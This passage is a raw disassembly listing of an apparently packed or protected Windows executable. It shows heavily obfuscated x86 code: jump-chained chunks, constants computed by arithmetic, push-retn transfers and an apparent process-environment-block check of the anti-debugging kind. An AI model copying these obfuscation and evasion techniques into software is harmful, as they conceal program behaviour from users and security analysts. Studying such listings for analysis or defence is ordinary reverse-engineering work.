nullsub_17. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E635: ; CODE XREF: wto1jq8f:0042DB46j jmp loc_42C527 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B855 loc_42E63A: ; CODE XREF: wto1jq8f:loc_4269AAj ; sub_42B855+6j jmp sub_42992F ; END OF FUNCTION CHUNK FOR sub_42B855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42E63F: ; CODE XREF: sub_42DC5C-4263j push eax retn ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D882 loc_42E641: ; CODE XREF: sub_42D882+1Bj jmp loc_425B97 ; END OF FUNCTION CHUNK FOR sub_42D882 ; --------------------------------------------------------------------------- loc_42E646: ; CODE XREF: wto1jq8f:004290F3j jmp locret_42CDC4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_42E64B proc near ; CODE XREF: sub_42A202+Bp push ebp mov ebp, esp jmp loc_42F143 sub_42E64B endp ; --------------------------------------------------------------------------- push 0C3F88CD0h pop edx add edx, 5148B75h call sub_429165 push eax rol eax, 3 jmp loc_42A0A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42E66D: ; CODE XREF: sub_42AECEj push edi mov [esp+4+var_4], ebp jmp loc_42A459 ; END OF FUNCTION CHUNK FOR sub_42AECE ; =============== S U B R O U T I N E ======================================= sub_42E676 proc near ; CODE XREF: sub_425EB9:loc_425EBDp ; FUNCTION CHUNK AT 00425EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429FF9 SIZE 0000000E BYTES mov [esp+0], eax loc_42E679: ; CODE XREF: wto1jq8f:00424400j push ecx push 0AEB25019h loc_42E67F: ; CODE XREF: wto1jq8f:loc_429DDEj pop ecx and ecx, 7E22BECFh jmp loc_428EC2 sub_42E676 endp ; --------------------------------------------------------------------------- locret_42E68B: ; CODE XREF: wto1jq8f:0042C459j retn ; --------------------------------------------------------------------------- jmp sub_424585 ; --------------------------------------------------------------------------- loc_42E691: ; CODE XREF: wto1jq8f:0042B560j jmp loc_42A3B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D4E loc_42E696: ; CODE XREF: sub_429D4E-2E26j jmp near ptr loc_42F2FF+5 ; END OF FUNCTION CHUNK FOR sub_429D4E ; --------------------------------------------------------------------------- loc_42E69B: ; CODE XREF: wto1jq8f:loc_42824Fj xchg eax, [esp] jmp sub_424585 ; --------------------------------------------------------------------------- add esi, eax jmp loc_424554 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42E6AA: ; CODE XREF: sub_427D00:loc_4245C3j ; sub_427D00-2C59j mov ecx, [ebp-18h] and ecx, 7 push 7A0D2D4Ah pop eax xor eax, 0FB4AA55Ch rol eax, 18h jmp loc_42DD90 ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42E6C4: ; CODE XREF: sub_4269FD+3593j jg loc_429F70 jz loc_424485 jmp loc_42A21C ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- loc_42E6D5: ; DATA XREF: sub_424585+1D66o mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_42E6D9 proc near ; CODE XREF: sub_424585:loc_4262E3p mov dword ptr [eax], 0 retn sub_42E6D9 endp ; --------------------------------------------------------------------------- loc_42E6E0: ; CODE XREF: wto1jq8f:00429A18j jmp locret_42EBE9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42E6E6: ; CODE XREF: sub_4284EC+10j add eax, 0FD1D9705h mov eax, [eax] or eax, eax jnz loc_42A7D3 jmp loc_4287E6 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- loc_42E6FB: ; CODE XREF: wto1jq8f:0042A668j jz loc_42E986 jmp loc_42E327 ; --------------------------------------------------------------------------- loc_42E706: ; CODE XREF: wto1jq8f:004298C7j lea eax, [ebp-4] push esi or esi, eax jmp loc_428B00 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E712: ; CODE XREF: wto1jq8f:00428395j jmp loc_42C929 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E718: ; CODE XREF: wto1jq8f:0042431Aj jmp locret_42BF87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42E71D: ; CODE XREF: sub_42A909-335Fj call near ptr sub_42CB36 test al, al jz loc_424473 jmp loc_42B6CF ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_42E72F: ; CODE XREF: wto1jq8f:loc_42BEA8j push edi push 0BB0BF06Eh pop edi add edi, 4536D676h xchg edi, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42E744: ; CODE XREF: sub_425F4F+1466j jz loc_42AE44 jmp loc_42EAD2 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- jz loc_42D73B jmp loc_42DFA2 ; --------------------------------------------------------------------------- locret_42E75A: ; CODE XREF: wto1jq8f:00424B25j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CFE2 loc_42E75B: ; CODE XREF: sub_42CFE2+Bj jmp loc_424000 ; END OF FUNCTION CHUNK FOR sub_42CFE2 ; --------------------------------------------------------------------------- loc_42E760: ; CODE XREF: wto1jq8f:0042A69Bj jmp near ptr loc_42F401+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42E765: ; CODE XREF: sub_4269FD+Cj jmp loc_42A717 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- add esi, 18688465h jmp loc_4248E6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E776: ; CODE XREF: wto1jq8f:0042913Ej jmp loc_42E4C0 ; --------------------------------------------------------------------------- push 2296AEFCh jmp sub_42CEBE ; =============== S U B R O U T I N E ======================================= sub_42E785 proc near ; CODE XREF: sub_42DC5C:loc_42884Cp ; FUNCTION CHUNK AT 0042A451 SIZE 00000008 BYTES mov [esp+0], ebx pop ebx rol edx, 1Fh call sub_42D71D loc_42E791: ; CODE XREF: wto1jq8f:004295ECj jmp loc_42A451 sub_42E785 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA92 loc_42E796: ; CODE XREF: sub_42DA92-69D7j jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_42DA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42E79B: ; CODE XREF: sub_42EDB9-A181j ; sub_42EDB9:loc_42A916j pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42E79E: ; CODE XREF: sub_42EDB9:loc_425E60j mov eax, ds:dword_429558 loc_42E7A3: ; CODE XREF: wto1jq8f:0042BCE1j mov edx, [ebp-4] jmp loc_42EB14 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42E7AB: ; CODE XREF: sub_427143-F4Fj jnz loc_4292F9 jmp loc_429B95 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- jmp loc_42D031 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42E7BB: ; CODE XREF: sub_429281+1B84j jns loc_4240CD mov eax, large fs:30h add eax, 20h mov eax, [eax] test eax, 1 jmp loc_42E435 ; END OF FUNCTION CHUNK FOR sub_429281 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_42E7D7 proc near ; DATA XREF: wto1jq8f:loc_42D469o push ebp mov ebp, esp call sub_42A202 sub_42E7D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269EF loc_42E7DF: ; CODE XREF: sub_4269EF+6j jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_4269EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42E7E4: ; CODE XREF: sub_42EDB9:loc_426E06j add edx, ebp add edx, 38EB0120h mov edx, [edx] popf mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_425E60 jmp loc_42A916 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_42E808: ; DATA XREF: sub_42D953+6o push esi mov [esp], eax push 7 push eax push 0B889AD95h pop eax jmp loc_426EF3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42E81B: ; CODE XREF: sub_42A909-2A18j pop ebx and eax, 5C76A73Fh popf loc_42E823: ; CODE XREF: sub_42A909:loc_425098j call nullsub_123 jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_42A909 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42E82E: ; CODE XREF: sub_42C6C3+1176j jmp loc_42E29C ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; =============== S U B R O U T I N E ======================================= sub_42E833 proc near ; CODE XREF: sub_4243D7+1E66p call sub_42DA92 sub_42E833 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42E838: ; CODE XREF: sub_42B276-35F4j jmp loc_424E93 ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= sub_42E83D proc near ; DATA XREF: sub_42DC5C:loc_4285DAo ; FUNCTION CHUNK AT 004269DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A20 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427FE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3B7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C608 SIZE 00000013 BYTES push 4DA34993h pop eax add eax, 47DBBF71h add eax, ebp jmp loc_427FE4 sub_42E83D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42E850: ; CODE XREF: sub_4282C1:loc_424211j mov [ebp-10h], eax call sub_42B520 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42E858: ; CODE XREF: sub_42CB36:loc_42794Ej jz loc_42B0D1 jmp near ptr loc_42FAC4+1 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- loc_42E863: ; CODE XREF: wto1jq8f:loc_428933j xor edx, 0D88E3D3Ch add eax, edx pop edx push eax mov eax, [ebp+8] jmp loc_42B334 ; --------------------------------------------------------------------------- lea eax, [ebp-0Ch] ; START OF FUNCTION CHUNK FOR sub_42D44C loc_42E878: ; CODE XREF: sub_42D44C-1DC3j call sub_42C0DF loc_42E87D: ; CODE XREF: wto1jq8f:0042D42Fj jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_42D44C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42E882: ; CODE XREF: sub_425944+19j jmp loc_42617A ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- loc_42E887: ; CODE XREF: wto1jq8f:loc_4269C6j test ecx, ebx jmp loc_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_42E88E: ; CODE XREF: sub_42669E:loc_428A9Fj or edx, 83E5A09Fh xor edx, 0D43E81E4h call sub_42D5BA loc_42E89F: ; CODE XREF: wto1jq8f:0042BAECj jnz loc_426706 jmp loc_426133 ; END OF FUNCTION CHUNK FOR sub_42669E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42E8AA: ; CODE XREF: sub_426D4F:loc_42C590j push offset sub_42DFF0 jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_42E8B4: ; CODE XREF: sub_4290CF:loc_42428Fj mov eax, [ebp-18h] shl eax, 2 cdq push offset loc_42730E jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- jle loc_424952 jmp loc_428BA7 ; =============== S U B R O U T I N E ======================================= sub_42E8D0 proc near ; CODE XREF: sub_429BD3:loc_425BF3p xchg eax, [esp+0] mov eax, [esp+0] rol eax, 14h push offset loc_428097 jmp nullsub_65 sub_42E8D0 endp ; --------------------------------------------------------------------------- push edi jmp sub_4246D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B990 loc_42E8E9: ; CODE XREF: sub_42B990:loc_42C8C1j mov eax, edx and ecx, ebx sub edx, ecx mov ebx, offset loc_42CCB2 xchg ebx, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_42B990 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42E8F8: ; CODE XREF: sub_42DC5C+E0j jmp loc_42DF6E ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42E8FD: ; CODE XREF: sub_42606D+352Fj jbe loc_429561 xor ebp, 0DED93C23h mov esi, [edi] jmp loc_42444C ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42E910: ; CODE XREF: sub_426535:loc_424D53j xor ecx, esi sub edi, ebx jmp loc_42D855 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42E919 proc far ; CODE XREF: wto1jq8f:0042A5E7p ; wto1jq8f:0042E95Aj mov [esp+0], edi pop edi mov byte ptr [ebp-803h], 0 push (offset loc_42F29D+2) jmp loc_42FB7E sub_42E919 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42E92E: ; CODE XREF: sub_424D58:loc_426714j test edx, 424A1959h jmp loc_4286D8 ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- locret_42E939: ; CODE XREF: wto1jq8f:loc_42B79Aj retn ; --------------------------------------------------------------------------- mov edx, 92B16BD7h push offset sub_428AE5 jmp locret_42CF48 ; --------------------------------------------------------------------------- push 48E769C3h cdq jmp sub_42B12A ; --------------------------------------------------------------------------- jns loc_425D6F jmp near ptr sub_42E919 ; --------------------------------------------------------------------------- loc_42E95F: ; CODE XREF: wto1jq8f:004288D9j mov [ecx], eax ; =============== S U B R O U T I N E ======================================= sub_42E961 proc near ; CODE XREF: wto1jq8f:004272B0p ; FUNCTION CHUNK AT 004244C0 SIZE 00000003 BYTES mov [esp+0], ebx pop ebx mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_4244C0 sub_42E961 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 87h dd 0B4E9240Ch db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_42E97B: ; CODE XREF: wto1jq8f:0042E32Cj xor edx, 0FC92ED82h popf adc edx, ebp adc ebp, eax loc_42E986: ; CODE XREF: wto1jq8f:loc_428625j ; wto1jq8f:0042B05Cj ... pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428295 loc_42E989: ; CODE XREF: sub_428295+Cj jmp sub_425BB4 ; END OF FUNCTION CHUNK FOR sub_428295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426461 loc_42E98E: ; CODE XREF: sub_426461+17j jmp near ptr loc_42F9B5+1 ; END OF FUNCTION CHUNK FOR sub_426461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42E993: ; CODE XREF: sub_4267AE-261Ej ; wto1jq8f:00425E4Aj call near ptr sub_42CB36 jmp loc_42A022 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42E99D: ; CODE XREF: sub_424F7A+811Dj jnb near ptr loc_42F273+2 ; END OF FUNCTION CHUNK FOR sub_424F7A ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42E9A3: ; CODE XREF: sub_429BD3+3C29j mov [ebx], edx test ecx, 0AAED04FCh jmp loc_42D3E8 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- loc_42E9B0: ; DATA XREF: sub_42C6F9:loc_42C706o or eax, eax jnz loc_424D89 ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_42E9B8: ; CODE XREF: sub_4262F5:loc_42475Cj call sub_427A8D mov edx, 0BD91ED44h push edx push 0DAB77A53h pop edx jmp loc_425F41 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425C02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_42E9D4: ; CODE XREF: sub_426350:loc_427C8Dj ; sub_426C04+5248j mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] jmp loc_42FD7E ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- xchg eax, [esp] ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42E9EB: ; CODE XREF: sub_42ADC7:loc_428B21j mov eax, [esp-8+arg_0] call sub_4245B5 test eax, eax jz loc_428BE9 jmp loc_42A642 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_42EA00: ; CODE XREF: wto1jq8f:0042D509j push 6F81DC1Bh jz loc_42DA3D xor edx, 4DC6CD1Fh jb loc_42CD71 jmp near ptr loc_42FE1D+5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242F8 loc_42EA1C: ; CODE XREF: sub_4242F8+30E8j jz loc_42D65D inc [ebp+var_8] loc_42EA25: ; CODE XREF: sub_42A4FA+4j ; sub_4242F8+9376j ... mov eax, [ebp+var_8] pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4242F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D343 loc_42EA2C: ; CODE XREF: sub_42D343-7181j jmp nullsub_150 ; END OF FUNCTION CHUNK FOR sub_42D343 ; =============== S U B R O U T I N E ======================================= sub_42EA31 proc near ; CODE XREF: sub_42A56D+1p ; wto1jq8f:0042D8E8j xchg ebx, [esp+0] pop ebx mov ebp, esp jnb sub_42A2B8 jmp sub_42C2D2 sub_42EA31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmp ebx, 3560814Ch jmp loc_42CF13 ; --------------------------------------------------------------------------- loc_42EA4D: ; CODE XREF: wto1jq8f:0042823Fj mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al jmp loc_42F221 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42EA63: ; CODE XREF: sub_42DC5C:loc_42D844j ror ecx, 2 jmp loc_42CFF2 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42EA6B: ; CODE XREF: sub_42CBD1:loc_426AF5j cmp dword ptr [ebp-4], 1 jnz loc_42C73E jmp loc_42B1F5 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E460 loc_42EA7A: ; CODE XREF: sub_42E460+9j pop esi add esi, 69B0C9C8h xchg esi, [esp+14h+var_14] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42E460 ; --------------------------------------------------------------------------- xor ebx, 0DD85E82Dh jmp loc_42F12F ; --------------------------------------------------------------------------- loc_42EA94: ; CODE XREF: wto1jq8f:0042CE3Bj shl eax, cl mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl or eax, edx mov edx, [ebp-8] jmp loc_424369 ; --------------------------------------------------------------------------- locret_42EAAA: ; CODE XREF: wto1jq8f:00428F5Cj ; wto1jq8f:loc_42AB22j retn ; --------------------------------------------------------------------------- jmp loc_42999A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_42EAB0: ; CODE XREF: sub_42727F+1381j jmp loc_426663 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- loc_42EAB5: ; CODE XREF: wto1jq8f:loc_424F75j jz loc_4261B1 jmp loc_42A0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42EAC0: ; CODE XREF: sub_425F4F+8388j jnz loc_429A57 adc edx, 24E21F6Ch loc_42EACC: ; CODE XREF: wto1jq8f:loc_427B56j call sub_42EADC retn ; --------------------------------------------------------------------------- loc_42EAD2: ; CODE XREF: sub_425F4F+87FBj jmp loc_428E9C ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_42EAD7: ; CODE XREF: sub_42E5B2-5373j jmp loc_424BEA ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_42EADC proc near ; CODE XREF: sub_425F4F:loc_42EACCp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004268B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004281A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC51 SIZE 0000000D BYTES pushf jmp loc_4281A1 sub_42EADC endp ; --------------------------------------------------------------------------- loc_42EAE2: ; CODE XREF: wto1jq8f:0042A872j jnz loc_42E294 jmp loc_42644C ; =============== S U B R O U T I N E ======================================= sub_42EAED proc near ; CODE XREF: wto1jq8f:004245FAj ; sub_42621A+5EA2p ; FUNCTION CHUNK AT 00426E7D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042CA38 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov edx, [ebp+8] imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] add [ebp-8], eax jmp loc_42CA38 sub_42EAED endp ; sp-analysis failed ; --------------------------------------------------------------------------- test eax, eax setnz byte ptr [ebp-1] mov al, [ebp-1] pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42EB14: ; CODE XREF: sub_42EDB9-613j jmp loc_42C803 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_42EB19: ; CODE XREF: wto1jq8f:004270F5j call sub_42776C jmp loc_42E15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42EB23: ; CODE XREF: sub_42CBD1:loc_426FB8j mov esi, ebp jmp loc_426AEF ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42EB2A: ; CODE XREF: sub_42D9FC-7CF7j jno loc_42E1F6 jmp loc_427ACA ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42EB35: ; CODE XREF: sub_426C0C+5ECEj jle near ptr loc_42F8AE+1 mov ecx, ebp xor edx, 81C478A0h loc_42EB43: ; CODE XREF: sub_426C0C:loc_426A67j lea eax, [ebp-26Fh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42F4F4 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- dw 0C381h dd 5E47FE0Ah, 0E63E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_42EB65: ; CODE XREF: sub_42D9FC-66B8j jnb loc_427898 ror esi, 19h jmp loc_424668 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- jbe loc_42CC08 jmp loc_42E3C0 ; --------------------------------------------------------------------------- test edi, 7B455D4Fh jmp loc_426B68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42EB89: ; CODE XREF: sub_42ADC7-1F58j push 100h push 0B13748B0h pop eax call sub_42C990 loc_42EB99: ; CODE XREF: wto1jq8f:00429FC6j jmp loc_4265CF ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42EB9E: ; CODE XREF: sub_42CB36-EA0j call sub_42707F ; END OF FUNCTION CHUNK FOR sub_42CB36 ; START OF FUNCTION CHUNK FOR sub_42708B loc_42EBA3: ; CODE XREF: sub_42708B+5j jmp near ptr loc_42F317+2 ; END OF FUNCTION CHUNK FOR sub_42708B ; --------------------------------------------------------------------------- sbb edx, 8A1573F3h jmp loc_42BE64 ; --------------------------------------------------------------------------- sbb edi, 5B5F6422h and esi, ecx jmp sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B8C loc_42EBC0: ; CODE XREF: sub_425B8C+6j push offset loc_4297AA jmp loc_42D9C9 ; END OF FUNCTION CHUNK FOR sub_425B8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42EBCA: ; CODE XREF: sub_42C049:loc_42AA72j push 55AA31D2h pop eax add eax, 0B822363Dh add eax, ebp add eax, 0F23397D1h push eax call sub_42596F jmp loc_428620 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- locret_42EBE9: ; CODE XREF: wto1jq8f:loc_42E6E0j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F31 loc_42EBEA: ; CODE XREF: sub_424F31+9DC0j jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_424F31 ; --------------------------------------------------------------------------- loc_42EBEF: ; CODE XREF: wto1jq8f:00426A92j jmp locret_42DA9E ; --------------------------------------------------------------------------- loc_42EBF4: ; CODE XREF: wto1jq8f:0042682Dj call sub_42ED32 mov edx, 87C4571Ah call sub_429165 loc_42EC03: ; CODE XREF: wto1jq8f:00426865j push eax loc_42EC04: ; CODE XREF: wto1jq8f:loc_429E18j jmp loc_42B159 ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: wto1jq8f:00424252j sub ecx, 86E19E30h jns near ptr loc_42EF32+3 loc_42EC15: ; CODE XREF: wto1jq8f:loc_424241j xor esi, 0A7457338h loc_42EC1B: ; CODE XREF: wto1jq8f:0042A77Aj add esi, ebp push edx jmp loc_42E239 ; --------------------------------------------------------------------------- loc_42EC23: ; CODE XREF: wto1jq8f:004289E8j jle loc_427ACC jno loc_427D63 loc_42EC2F: ; CODE XREF: wto1jq8f:loc_42AC4Aj call near ptr sub_427C92 ; START OF FUNCTION CHUNK FOR sub_427D82 loc_42EC34: ; CODE XREF: sub_427D82-23B8j jmp loc_426F76 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42EC39: ; CODE XREF: sub_42DC5C:loc_429768j ; sub_42DC5C+36Fj push 0BB509726h mov [esp-4+arg_0], ecx push 4E462590h xchg ebx, [esp+0] mov ecx, ebx pop ebx jmp loc_4289F4 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EADC loc_42EC51: ; CODE XREF: sub_42EADC:loc_4281A1j mov [esp+4+var_4], ebp push offset loc_42A6E3 jmp loc_4268B6 ; END OF FUNCTION CHUNK FOR sub_42EADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42EC5E: ; CODE XREF: sub_42DC5C-1F87j js loc_428A3A ror ebp, 17h xchg edi, ebx jmp loc_4285DA ; END OF FUNCTION CHUNK FOR sub_42DC5C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA12 loc_42EC6F: ; CODE XREF: sub_42CA12+7j jmp loc_4249B2 ; END OF FUNCTION CHUNK FOR sub_42CA12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427FAB loc_42EC74: ; CODE XREF: sub_427FAB+6j jmp loc_42C83D ; END OF FUNCTION CHUNK FOR sub_427FAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42EC79: ; CODE XREF: sub_42DC5C+FCj 